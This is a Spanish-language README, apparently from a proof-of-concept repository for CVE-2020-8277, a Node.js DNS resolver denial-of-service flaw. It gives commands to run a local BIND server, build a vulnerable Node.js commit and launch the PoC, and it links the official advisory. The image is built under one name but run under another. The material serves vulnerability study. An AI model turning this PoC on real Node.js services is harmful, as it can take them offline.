
Exploit de prueba de concepto para CVE-2020-8277, una vulnerabilidad de denegación de servicio en el resolver DNS de Node.js, que demuestra lectura fuera de memoria mediante respuestas DNS manipuladas.
Solo con fines educativos.
# clona este repositorio
$ git clone https://github.com/masahiro331/CVE-2020-8277
# ejecuta bind
$ docker build -t bind-local ./bind
# Necesita fallback TCP
$ docker run --rm --name bind -it -p 53:53 -p 53:53/udp bind
# usa la versión "< v15.2.1"
# Si usas una versión corregida, compila node.
$ git clone https://github.com/nodejs/node
$ git checkout df211208c0
$ ./configure
$ make -j8
$ make install
# Ejecuta PoC
$ node main.js
Consulte la referencia para obtener más detalles.
https://nodejs.org/en/blog/vulnerability/november-2020-security-releases/
El aviso indica que resolver un nombre de host que devuelve una gran cantidad de registros resultará en una denegación de servicio (DoS).
La vulnerabilidad provoca un error de lectura fuera de la memoria.
Línea afectada.
https://github.com/nodejs/node/blob/1fd2c8142b611baadc973947b83c0863cb003d9d/src/cares_wrap.cc#L764